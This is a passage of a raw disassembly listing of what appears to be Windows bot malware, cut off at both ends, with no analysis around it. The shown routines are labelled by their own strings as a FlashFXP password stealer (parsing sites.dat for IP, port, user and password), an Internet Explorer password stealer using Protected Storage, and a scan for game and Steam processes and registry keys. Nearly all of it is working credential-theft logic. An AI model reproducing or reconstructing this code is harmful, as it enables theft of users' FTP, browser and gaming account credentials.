aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h mov [ebp+var_8], edi call dword_412000 mov ebx, [ebp+arg_0] lea eax, [ebp+var_C] push eax push ebx push edi push edi push edi mov esi, 104h push [ebp+var_8] mov [ebp+var_C], esi call dword_41200C push [ebp+var_8] mov [ebp+arg_0], eax call dword_412028 cmp [ebp+arg_0], edi jnz short loc_40FE42 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push ebx call sub_405A0D add esp, 0Ch cmp eax, edi mov [ebp+arg_0], eax jz short loc_40FE42 push offset aSites_dat ; "sites.dat" push eax call sub_4114B8 ; _mbscpy mov eax, [ebp+arg_0] lea ecx, [eax+0Fh] add eax, 9 push ecx push eax call sub_4114B8 ; _mbscpy add esp, 10h loc_40FE3D: ; CODE XREF: sub_40FDB3+B8j ; sub_40FDB3+F1j push 1 pop eax jmp short loc_40FEB3 ; --------------------------------------------------------------------------- loc_40FE42: ; CODE XREF: sub_40FDB3+53j ; sub_40FDB3+6Aj push esi push ebx push offset aProgramfiles ; "ProgramFiles" call dword_41210C push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push ebx call sub_4114EE ; _mbscat mov esi, offset aRb ; "rb" push esi push ebx call sub_411506 ; fopen add esp, 10h test eax, eax jnz short loc_40FE3D mov eax, dword_4143A0 mov [ebp+var_4], eax loc_40FE75: ; CODE XREF: sub_40FDB3+FCj lea eax, [ebp+var_4] push eax call dword_4120D0 cmp eax, 5 jz short loc_40FEA6 cmp eax, 2 jz short loc_40FEA6 lea eax, [ebp+var_4] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push ebx call sub_4114DC ; sprintf push esi push ebx call sub_411506 ; fopen add esp, 14h test eax, eax jnz short loc_40FE3D loc_40FEA6: ; CODE XREF: sub_40FDB3+CFj ; sub_40FDB3+D4j inc byte ptr [ebp+var_4] cmp byte ptr [ebp+var_4], 5Ah jz short loc_40FEB1 jmp short loc_40FE75 ; --------------------------------------------------------------------------- loc_40FEB1: ; CODE XREF: sub_40FDB3+FAj xor eax, eax loc_40FEB3: ; CODE XREF: sub_40FDB3+8Dj pop edi pop esi pop ebx leave retn sub_40FDB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FEB8 proc near ; DATA XREF: sub_4101AE+29o var_5C4 = byte ptr -5C4h var_444 = byte ptr -444h var_3C4 = byte ptr -3C4h var_344 = byte ptr -344h var_2C4 = byte ptr -2C4h var_244 = dword ptr -244h var_240 = byte ptr -240h var_A8 = byte ptr -0A8h var_9C = byte ptr -9Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5C4h push 1A7h lea eax, [ebp+var_244] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_5C4] push eax call sub_40FDB3 add esp, 14h test eax, eax jnz short loc_40FF03 push [ebp+var_244] call sub_406E6F pop ecx xor eax, eax jmp locret_4101AA ; --------------------------------------------------------------------------- loc_40FF03: ; CODE XREF: sub_40FEB8+36j mov eax, [ebp+var_244] push ebx push esi push edi push dword ptr [eax] lea eax, [ebp+var_240] push offset unk_4186C0 push eax call sub_4096CB mov al, [ebp+var_A8] xor ebx, ebx mov byte ptr [ebp+arg_0+3], al lea eax, [ebp+var_5C4] push offset aRb ; "rb" push eax mov [ebp+var_18], ebx mov [ebp+var_4], ebx mov [ebp+var_A8], bl call sub_411506 ; fopen mov edi, eax add esp, 14h cmp edi, ebx jz loc_410199 push 2 push ebx push edi call sub_411516 ; fseek push edi call sub_4114F4 ; ftell mov esi, eax mov eax, 100000h add esp, 10h cmp esi, eax jb short loc_40FF73 mov esi, eax loc_40FF73: ; CODE XREF: sub_40FEB8+B7j push ebx push ebx push edi call sub_411516 ; fseek lea eax, [esi+1] push eax call sub_4114C4 ; malloc add esp, 10h cmp eax, ebx mov [ebp+var_10], eax push edi jnz short loc_40FF9A call sub_411500 ; fclose pop ecx jmp loc_410199 ; --------------------------------------------------------------------------- loc_40FF9A: ; CODE XREF: sub_40FEB8+D5j push esi push 1 push eax call sub_411510 ; fread push edi call sub_411500 ; fclose mov eax, [ebp+var_10] add esp, 14h mov [eax+esi], bl mov esi, eax loc_40FFB4: ; CODE XREF: sub_40FEB8+29Dj push offset asc_4186B8 ; "\r\n\r\n[" push esi call sub_411528 ; strstr push offset aIp ; "\r\nIP=" push esi mov edi, eax call sub_411528 ; strstr push offset aPort ; "\r\nPort=" push esi mov [ebp+var_14], eax call sub_411528 ; strstr push offset aUser_0 ; "\r\nUser=" push esi mov [ebp+var_8], eax call sub_411528 ; strstr push offset aPass_0 ; "\r\nPass=" push esi mov [ebp+var_C], eax call sub_411528 ; strstr add esp, 28h cmp [ebp+var_14], ebx mov [ebp+var_1C], eax jz loc_41014B cmp edi, ebx jz short loc_410012 cmp [ebp+var_14], edi jnb loc_41014B loc_410012: ; CODE XREF: sub_40FEB8+14Fj cmp [ebp+var_8], ebx jz loc_41014B cmp edi, ebx jz short loc_410028 cmp [ebp+var_8], edi jnb loc_41014B loc_410028: ; CODE XREF: sub_40FEB8+165j cmp [ebp+var_C], ebx jz loc_41014B cmp edi, ebx jz short loc_41003E cmp [ebp+var_C], edi jnb loc_41014B loc_41003E: ; CODE XREF: sub_40FEB8+17Bj cmp eax, ebx jz loc_41014B cmp edi, ebx jz short loc_410052 cmp eax, edi jnb loc_41014B loc_410052: ; CODE XREF: sub_40FEB8+190j lea eax, [ebp+var_444] loc_410058: ; DATA XREF: .packed:off_415978o mov [ebp+var_9C], bl push eax push offset asc_41868C ; "[%[^]]]\r\n" push esi mov [ebp+var_344], bl mov [ebp+var_3C4], bl mov [ebp+var_2C4], bl mov [ebp+var_444], bl call sub_411522 ; sscanf add esp, 0Ch lea eax, [ebp+var_2C4] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push [ebp+var_14] call sub_411522 ; sscanf add esp, 0Ch lea eax, [ebp+var_3C4] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push [ebp+var_8] call sub_411522 ; sscanf add esp, 0Ch lea eax, [ebp+var_344] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push [ebp+var_C] call sub_411522 ; sscanf add esp, 0Ch lea eax, [ebp+var_9C] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push [ebp+var_1C] call sub_411522 ; sscanf lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_9C] push eax call sub_40FD22 add esp, 14h test eax, eax jz short loc_41015A inc [ebp+var_4] push 3E8h call dword_4120A4 ; Sleep lea eax, [ebp+var_444] push eax lea eax, [ebp+var_3C4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_344] push eax lea eax, [ebp+var_240] push [ebp+var_4] push offset dword_418620 push eax call sub_4096CB mov eax, [ebp+var_244] add esp, 20h cmp [eax+4], ebx jnz short loc_41015A loc_41014B: ; CODE XREF: sub_40FEB8+147j ; sub_40FEB8+154j ... inc [ebp+var_18] cmp edi, ebx jz short loc_41015A lea esi, [edi+4] jmp loc_40FFB4 ; --------------------------------------------------------------------------- loc_41015A: ; CODE XREF: sub_40FEB8+23Ej ; sub_40FEB8+291j ... push [ebp+var_10] call sub_4114CA ; free mov al, byte ptr [ebp+arg_0+3] pop ecx push 3E8h mov [ebp+var_A8], al call dword_4120A4 ; Sleep push [ebp+var_18] mov eax, [ebp+var_244] push [ebp+var_4] push dword ptr [eax] lea eax, [ebp+var_240] push offset unk_4185E4 push eax call sub_4096CB add esp, 14h loc_410199: ; CODE XREF: sub_40FEB8+96j ; sub_40FEB8+DDj push [ebp+var_244] call sub_406E6F pop ecx pop edi pop esi xor eax, eax pop ebx locret_4101AA: ; CODE XREF: sub_40FEB8+46j leave retn 4 sub_40FEB8 endp ; =============== S U B R O U T I N E ======================================= sub_4101AE proc near ; CODE XREF: sub_407A76+4CAp arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_4101E4 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push esi push offset sub_40FEB8 call sub_406D58 add esp, 10h loc_4101E4: ; CODE XREF: sub_4101AE+10j pop esi retn sub_4101AE endp ; =============== S U B R O U T I N E ======================================= sub_4101E6 proc near ; DATA XREF: sub_41094B+32o mov eax, offset loc_411980 call sub_4117C8 sub esp, 0F98h push ebx push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-290h] push eax call sub_4114D0 ; memcpy push dword ptr [ebp+8] call sub_4114CA ; free add esp, 10h xor ebx, ebx lea eax, [ebp-14h] push ebx push ebx push ebx push eax mov [ebp-4], ebx mov [ebp-14h], ebx call dword_419220 cmp eax, ebx jge short loc_410242 push dword ptr [ebp-290h] call sub_406E6F pop ecx jmp loc_410927 ; --------------------------------------------------------------------------- loc_410242: ; CODE XREF: sub_4101E6+49j cmp [ebp-14h], ebx mov byte ptr [ebp-4], 1 mov [ebp-1Ch], ebx jnz short loc_410258 push 80004003h call sub_4117F0 loc_410258: ; CODE XREF: sub_4101E6+66j mov esi, [ebp-14h] lea ecx, [ebp-1Ch] push ecx push ebx mov eax, [esi] push ebx push esi call dword ptr [eax+38h] cmp eax, ebx jge short loc_410288 push offset dword_418950 push esi push eax call sub_4117FE push dword ptr [ebp-290h] call sub_406E6F pop ecx jmp loc_410917 ; --------------------------------------------------------------------------- loc_410288: ; CODE XREF: sub_4101E6+83j mov eax, [ebp-290h] push dword ptr [eax] lea eax, [ebp-28Ch] push offset unk_41891C push eax call sub_4096CB mov al, [ebp-0F4h] add esp, 0Ch mov [ebp-10h], ebx mov [ebp+0Bh], al mov [ebp-0F4h], bl loc_4102B6: ; CODE XREF: sub_4101E6+6E2j ; sub_4101E6+6EEj cmp [ebp-1Ch], ebx jnz short loc_4102C5 push 80004003h call sub_4117F0 loc_4102C5: ; CODE XREF: sub_4101E6+D3j mov eax, [ebp-1Ch] lea edx, [ebp-40h] push ebx push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_4108D9 mov eax, [ebp-290h] cmp [eax+4], ebx jnz loc_4108D9 sub esp, 10h lea esi, [ebp-40h] mov edi, esp lea eax, [ebp-84h] movsd movsd movsd push offset asc_418918 ; "%x" push eax movsd call dword_4121EC add esp, 18h cmp [ebp-14h], ebx mov byte ptr [ebp-4], 2 mov [ebp-24h], ebx jnz short loc_410323 push 80004003h call sub_4117F0 loc_410323: ; CODE XREF: sub_4101E6+131j mov esi, [ebp-14h] lea ecx, [ebp-24h] push ecx lea ecx, [ebp-40h] mov eax, [esi] push ebx push ecx push ebx push esi call dword ptr [eax+3Ch] cmp eax, ebx jge short loc_410346 push offset dword_418950 push esi push eax call sub_4117FE loc_410346: ; CODE XREF: sub_4101E6+152j ; sub_4101E6+6C8j ... cmp [ebp-24h], ebx jnz short loc_410355 push 80004003h call sub_4117F0 loc_410355: ; CODE XREF: sub_4101E6+163j mov eax, [ebp-24h] lea edx, [ebp-50h] push ebx push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_4108BF cmp [ebp-14h], ebx mov byte ptr [ebp-4], 3 mov [ebp-28h], ebx jnz short loc_410383 push 80004003h call sub_4117F0 loc_410383: ; CODE XREF: sub_4101E6+191j mov esi, [ebp-14h] lea ecx, [ebp-28h] push ecx lea ecx, [ebp-50h] mov eax, [esi] push ebx push ecx lea ecx, [ebp-40h] push ecx push ebx push esi call dword ptr [eax+54h] cmp eax, ebx jge short loc_4103AA push offset dword_418950 push esi push eax call sub_4117FE loc_4103AA: ; CODE XREF: sub_4101E6+1B6j ; sub_4101E6+6BAj cmp [ebp-28h], ebx jnz short loc_4103B9 push 80004003h call sub_4117F0 loc_4103B9: ; CODE XREF: sub_4101E6+1C7j mov eax, [ebp-28h] lea edx, [ebp-30h] push ebx push edx mov ecx, [eax] push 1 push eax call dword ptr [ecx+0Ch] test eax, eax jnz loc_4108A5 push dword ptr [ebp-30h] mov edi, dword_4121EC lea eax, [ebp-7BCh] push offset aWs ; "%ws" push eax call edi add esp, 0Ch cmp [ebp-14h], ebx mov [ebp-20h], ebx mov [ebp-18h], ebx jnz short loc_410400 push 80004003h call sub_4117F0 loc_410400: ; CODE XREF: sub_4101E6+20Ej push ebx lea ecx, [ebp-18h] push ebx push ecx mov esi, [ebp-14h] lea ecx, [ebp-20h] push ecx lea ecx, [ebp-50h] push dword ptr [ebp-30h] mov eax, [esi] push ecx lea ecx, [ebp-40h] push ecx push ebx push esi call dword ptr [eax+44h] cmp eax, ebx jge short loc_41042F push offset dword_418950 push esi push eax call sub_4117FE loc_41042F: ; CODE XREF: sub_4101E6+23Bj push dword ptr [ebp-18h] call sub_4114BE ; strlen mov esi, [ebp-20h] pop ecx lea ecx, [esi-1] cmp eax, ecx jnb short loc_410475 xor ecx, ecx xor edx, edx cmp esi, ebx jbe short loc_41046C loc_41044A: ; CODE XREF: sub_4101E6+284j mov eax, [ebp-18h] mov al, [edx+eax] cmp al, bl jnz short loc_41045E mov byte ptr [ebp+ecx-5BCh], 2Ch jmp short loc_410465 ; --------------------------------------------------------------------------- loc_41045E: ; CODE XREF: sub_4101E6+26Cj mov [ebp+ecx-5BCh], al loc_410465: ; CODE XREF: sub_4101E6+276j inc ecx inc edx inc edx cmp edx, esi jb short loc_41044A loc_41046C: ; CODE XREF: sub_4101E6+262j mov [ebp+ecx-5BDh], bl jmp short loc_410489 ; --------------------------------------------------------------------------- loc_410475: ; CODE XREF: sub_4101E6+25Aj push dword ptr [ebp-18h] lea eax, [ebp-5BCh] push offset dword_413B6C push eax call edi add esp, 0Ch loc_410489: ; CODE XREF: sub_4101E6+28Dj mov esi, dword_412104 mov edi, offset byte_4191D0 lea eax, [ebp-0FA4h] push edi push eax call esi lea eax, [ebp-9BCh] push edi push eax call esi mov esi, dword_412110 lea eax, [ebp-84h] push offset a220d5cc1 ; "220d5cc1" push eax call esi test eax, eax jnz short loc_4104F0 inc dword ptr [ebp-10h] cmp [ebp-0F7h], bl jnz short loc_4104F0 lea eax, [ebp-5BCh] push eax lea eax, [ebp-7BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_4188C8 push eax call sub_4096CB add esp, 14h loc_4104F0: ; CODE XREF: sub_4101E6+2D8j ; sub_4101E6+2E3j lea eax, [ebp-84h] push offset a5e7e8100 ; "5e7e8100" push eax call esi test eax, eax jnz loc_410597 mov edi, dword_412104 lea eax, [ebp-358h] push offset byte_4191D0 push eax call edi mov esi, offset asc_413528 ; ":" lea eax, [ebp-5BCh] push esi push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz short loc_41055D lea eax, [ebp-5BCh] push esi push eax call sub_411528 ; strstr pop ecx inc eax pop ecx push eax lea eax, [ebp-358h] push eax call edi lea eax, [ebp-5BCh] push esi push eax call sub_411528 ; strstr pop ecx mov [eax], bl pop ecx loc_41055D: ; CODE XREF: sub_4101E6+34Aj inc dword ptr [ebp-10h] push 3E8h call dword_4120A4 ; Sleep lea eax, [ebp-358h] push eax lea eax, [ebp-5BCh] push eax lea eax, [ebp-7BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_418864 push eax call sub_4096CB add esp, 18h loc_410597: ; CODE XREF: sub_4101E6+31Aj lea eax, [ebp-84h] push offset aB9819c52 ; "b9819c52" push eax call dword_412110 test eax, eax jnz loc_410705 mov eax, [ebp-18h] xor edi, edi xor esi, esi cmp [ebp-20h], ebx jbe short loc_410600 loc_4105BD: ; CODE XREF: sub_4101E6+418j mov cl, [esi+eax] cmp cl, bl jnz short loc_4105CE mov byte ptr [ebp+edi-5BCh], 2Ch jmp short loc_4105F8 ; --------------------------------------------------------------------------- loc_4105CE: ; CODE XREF: sub_4101E6+3DCj push ecx call dword_412200 test eax, eax mov eax, [ebp-18h] jnz short loc_4105EE mov cl, [esi+eax] cmp cl, 40h jz short loc_4105EE cmp cl, 2Eh jz short loc_4105EE cmp cl, 5Fh jnz short loc_4105F9 loc_4105EE: ; CODE XREF: sub_4101E6+3F4j ; sub_4101E6+3FCj ... mov cl, [esi+eax] mov [ebp+edi-5BCh], cl loc_4105F8: ; CODE XREF: sub_4101E6+3E6j inc edi loc_4105F9: ; CODE XREF: sub_4101E6+406j inc esi inc esi cmp esi, [ebp-20h] jb short loc_4105BD loc_410600: ; CODE XREF: sub_4101E6+3D5j mov [ebp+edi-5BDh], bl cmp [eax+4], bl lea esi, [ebp-5BAh] mov [ebp-2Ch], ebx jbe loc_410705 loc_410619: ; CODE XREF: sub_4101E6+519j inc esi lea eax, [ebp-3BCh] push esi push eax call dword_412104 mov edi, offset dword_418854 lea eax, [ebp-3BCh] push edi push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz short loc_410651 lea eax, [ebp-3BCh] push edi push eax call sub_411528 ; strstr pop ecx mov [eax], bl pop ecx loc_410651: ; CODE XREF: sub_4101E6+458j push edi push esi call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz short loc_410677 push edi push esi call sub_411528 ; strstr pop ecx inc eax pop ecx inc eax push eax lea eax, [ebp-0E8h] push eax call dword_412104 loc_410677: ; CODE XREF: sub_4101E6+476j lea eax, [ebp-0E8h] push edi push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz short loc_41069B lea eax, [ebp-0E8h] push edi push eax call sub_411528 ; strstr pop ecx mov [eax], bl pop ecx loc_41069B: ; CODE XREF: sub_4101E6+4A2j push edi push esi call sub_411528 ; strstr pop ecx mov esi, eax pop ecx lea eax, [ebp-0E8h] push eax call dword_412040 ; lstrlen inc dword ptr [ebp-10h] push 3E8h lea esi, [esi+eax+9] call dword_4120A4 ; Sleep cmp [ebp-0F7h], bl jnz short loc_4106F2 lea eax, [ebp-0E8h] push eax lea eax, [ebp-3BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_418814 push eax call sub_4096CB add esp, 14h loc_4106F2: ; CODE XREF: sub_4101E6+4E5j mov eax, [ebp-18h] inc dword ptr [ebp-2Ch] movzx eax, byte ptr [eax+4] cmp [ebp-2Ch], eax jl loc_410619 loc_410705: ; CODE XREF: sub_4101E6+3C5j ; sub_4101E6+42Dj lea eax, [ebp-84h] push offset aE161255a ; "e161255a" push eax call dword_412110 test eax, eax jnz loc_41087C lea eax, [ebp-7BCh] push offset aStringindex ; "StringIndex" push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jnz loc_41087C mov esi, offset dword_4187F4 lea eax, [ebp-7BCh] push esi push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz short loc_410763 lea eax, [ebp-7BCh] push esi push eax call sub_411528 ; strstr pop ecx mov [eax], bl pop ecx loc_410763: ; CODE XREF: sub_4101E6+56Aj lea eax, [ebp-7BCh] push 8 push eax lea eax, [ebp-358h] push eax call dword_412108 lea eax, [ebp-358h] push offset dword_4187EC push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jnz short loc_4107EB lea eax, [ebp-358h] push offset dword_4187E4 push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jnz short loc_4107EB inc dword ptr [ebp-10h] push 3E8h call dword_4120A4 ; Sleep cmp [ebp-0F7h], bl jnz loc_41087C lea eax, [ebp-5BCh] push eax lea eax, [ebp-7BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_41879C push eax call sub_4096CB add esp, 14h jmp loc_41087C ; --------------------------------------------------------------------------- loc_4107EB: ; CODE XREF: sub_4101E6+5A8j ; sub_4101E6+5BFj mov edi, dword_412104 lea eax, [ebp-358h] push offset byte_4191D0 push eax call edi mov esi, offset dword_418854 lea eax, [ebp-5BCh] push esi push eax call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz short loc_410842 lea eax, [ebp-5BCh] push esi push eax call sub_411528 ; strstr pop ecx inc eax pop ecx push eax lea eax, [ebp-358h] push eax call edi lea eax, [ebp-5BCh] push esi push eax call sub_411528 ; strstr pop ecx mov [eax], bl pop ecx loc_410842: ; CODE XREF: sub_4101E6+62Fj inc dword ptr [ebp-10h] push 3E8h call dword_4120A4 ; Sleep lea eax, [ebp-358h] push eax lea eax, [ebp-5BCh] push eax lea eax, [ebp-7BCh] push eax lea eax, [ebp-28Ch] push dword ptr [ebp-10h] push offset dword_418740 push eax call sub_4096CB add esp, 18h loc_41087C: ; CODE XREF: sub_4101E6+533j ; sub_4101E6+54Ej ... mov esi, 200h lea eax, [ebp-7BCh] push esi push ebx push eax call sub_4114E8 ; memset push esi lea eax, [ebp-5BCh] push ebx push eax call sub_4114E8 ; memset add esp, 18h jmp loc_4103AA ; --------------------------------------------------------------------------- loc_4108A5: ; CODE XREF: sub_4101E6+1E5j mov eax, [ebp-28h] mov byte ptr [ebp-4], 2 cmp eax, ebx jz loc_410346 mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_410346 ; --------------------------------------------------------------------------- loc_4108BF: ; CODE XREF: sub_4101E6+181j mov eax, [ebp-24h] mov byte ptr [ebp-4], 1 cmp eax, ebx jz loc_4102B6 mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_4102B6 ; --------------------------------------------------------------------------- loc_4108D9: ; CODE XREF: sub_4101E6+F1j ; sub_4101E6+100j mov al, [ebp+0Bh] push 3E8h mov [ebp-0F4h], al call dword_4120A4 ; Sleep push dword ptr [ebp-10h] mov eax, [ebp-290h] push dword ptr [eax] lea eax, [ebp-28Ch] push offset unk_418704 push eax call sub_4096CB push dword ptr [ebp-290h] call sub_406E6F add esp, 14h loc_410917: ; CODE XREF: sub_4101E6+9Dj mov eax, [ebp-1Ch] mov [ebp-4], bl cmp eax, ebx jz short loc_410927 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_410927: ; CODE XREF: sub_4101E6+57j ; sub_4101E6+739j mov eax, [ebp-14h] or dword ptr [ebp-4], 0FFFFFFFFh cmp eax, ebx jz short loc_410938 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_410938: ; CODE XREF: sub_4101E6+74Aj mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx leave retn 4 sub_4101E6 endp ; =============== S U B R O U T I N E ======================================= sub_41094B proc near ; CODE XREF: sub_407A76+6Cp arg_0 = dword ptr 4 cmp dword_419220, 0 push esi jz short loc_41098A push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_41098A push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push esi push offset sub_4101E6 call sub_406D58 add esp, 10h loc_41098A: ; CODE XREF: sub_41094B+8j ; sub_41094B+19j pop esi retn sub_41094B endp ; --------------------------------------------------------------------------- loc_41098C: ; CODE XREF: .packed:00411963j ; .packed:0041196Bj ... mov eax, [ecx] test eax, eax jz short locret_410998 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_410998: ; CODE XREF: .packed:00410990j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410999 proc near ; DATA XREF: sub_410B3B+29o var_5BC = byte ptr -5BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5BCh push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1BC] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free xor esi, esi add esp, 10h mov [ebp+var_8], esi mov [ebp+var_C], esi mov [ebp+var_10], esi mov [ebp+var_14], esi mov [ebp+arg_0], esi xor ebx, ebx loc_4109D7: ; CODE XREF: sub_410999+ACj lea eax, [ebp+var_5BC] push 400h push eax push ebx call dword_4121F0 push 7 lea eax, [ebp+var_5BC] push offset aUnreal3 ; "Unreal3" push eax call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax push 1 pop edi jnz short loc_410A0A mov [ebp+var_C], edi loc_410A0A: ; CODE XREF: sub_410999+6Cj lea eax, [ebp+var_5BC] push offset aWorldOfWarcraf ; "World Of Warcraft" push eax call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz short loc_410A24 mov [ebp+var_14], edi loc_410A24: ; CODE XREF: sub_410999+86j lea eax, [ebp+var_5BC] push offset aConquer ; "[Conquer]" push eax call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz short loc_410A3E mov [ebp+arg_0], edi loc_410A3E: ; CODE XREF: sub_410999+A0j inc ebx cmp ebx, 0FFFFh jb short loc_4109D7 mov edi, dword_412000 lea eax, [ebp+var_4] mov ebx, 20019h push eax push ebx push esi push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h mov [ebp+var_4], esi call edi test eax, eax jnz short loc_410A72 mov [ebp+var_8], 1 loc_410A72: ; CODE XREF: sub_410999+D0j push [ebp+var_4] mov esi, dword_412028 call esi and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax push ebx push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call edi test eax, eax jnz short loc_410A9F mov [ebp+var_10], 1 loc_410A9F: ; CODE XREF: sub_410999+FDj push [ebp+var_4] call esi cmp [ebp+var_20], 0 mov eax, offset aNo ; "No" mov ecx, offset aYes ; "Yes" jz short loc_410ADD xor edx, edx cmp [ebp+var_C], edx jnz short loc_410ADF cmp [ebp+var_8], edx jnz short loc_410ADF cmp [ebp+var_10], edx jnz short loc_410ADF cmp [ebp+var_14], edx jnz short loc_410ADF cmp [ebp+arg_0], edx jnz short loc_410AE4 push [ebp+var_1BC] call sub_406E6F pop ecx jmp short loc_410B32 ; --------------------------------------------------------------------------- loc_410ADD: ; CODE XREF: sub_410999+119j xor edx, edx loc_410ADF: ; CODE XREF: sub_410999+120j ; sub_410999+125j ... cmp [ebp+arg_0], edx jz short loc_410AE8 loc_410AE4: ; CODE XREF: sub_410999+134j mov ebx, ecx jmp short loc_410AEA ; --------------------------------------------------------------------------- loc_410AE8: ; CODE XREF: sub_410999+149j mov ebx, eax loc_410AEA: ; CODE XREF: sub_410999+14Dj cmp [ebp+var_14], edx mov edi, ecx jnz short loc_410AF3 mov edi, eax loc_410AF3: ; CODE XREF: sub_410999+156j cmp [ebp+var_10], edx mov esi, ecx jnz short loc_410AFC mov esi, eax loc_410AFC: ; CODE XREF: sub_410999+15Fj cmp [ebp+var_8], 0 mov edx, ecx jnz short loc_410B06 mov edx, eax loc_410B06: ; CODE XREF: sub_410999+169j cmp [ebp+var_C], 0 jz short loc_410B0E mov eax, ecx loc_410B0E: ; CODE XREF: sub_410999+171j push ebx push edi push esi push edx push eax lea eax, [ebp+var_1B8] push offset dword_418984 push eax call sub_4096CB push [ebp+var_1BC] call sub_406E6F add esp, 20h loc_410B32: ; CODE XREF: sub_410999+142j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_410999 endp ; =============== S U B R O U T I N E ======================================= sub_410B3B proc near ; CODE XREF: sub_407A76+B84p arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_410B71 push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push esi push offset sub_410999 call sub_406D58 add esp, 10h loc_410B71: ; CODE XREF: sub_410B3B+10j pop esi retn sub_410B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B73 proc near ; CODE XREF: sub_410BC3+32p ; sub_410BC3+4Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi cmp dword ptr [eax], 0 jz short loc_410BB9 mov esi, eax loc_410B81: ; CODE XREF: sub_410B73+44j push dword ptr [eax] push [ebp+arg_8] push [ebp+arg_4] call sub_405A0D add esp, 0Ch test eax, eax jz short loc_410BAF mov eax, [esi+4] test eax, eax jz short loc_410BBE push eax push [ebp+arg_8] push [ebp+arg_4] call sub_405A0D add esp, 0Ch test eax, eax jz short loc_410BBE loc_410BAF: ; CODE XREF: sub_410B73+20j add esi, 8 mov eax, esi cmp dword ptr [esi], 0 jnz short loc_410B81 loc_410BB9: ; CODE XREF: sub_410B73+Aj xor eax, eax loc_410BBB: ; CODE XREF: sub_410B73+4Ej pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_410BBE: ; CODE XREF: sub_410B73+27j ; sub_410B73+3Aj push 1 pop eax jmp short loc_410BBB sub_410B73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410BC3 proc near ; CODE XREF: sub_410C55+29Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 push ebx push esi mov esi, [ebp+arg_4] push edi mov edi, [ebp+arg_0] jz short loc_410BE6 push [ebp+arg_C] push esi push edi call sub_405A0D add esp, 0Ch test eax, eax jnz short loc_410C49 loc_410BE6: ; CODE XREF: sub_410BC3+10j mov ebx, [ebp+arg_8] cmp ebx, 1 jb short loc_410C01 push esi push edi push offset off_418AB4 call 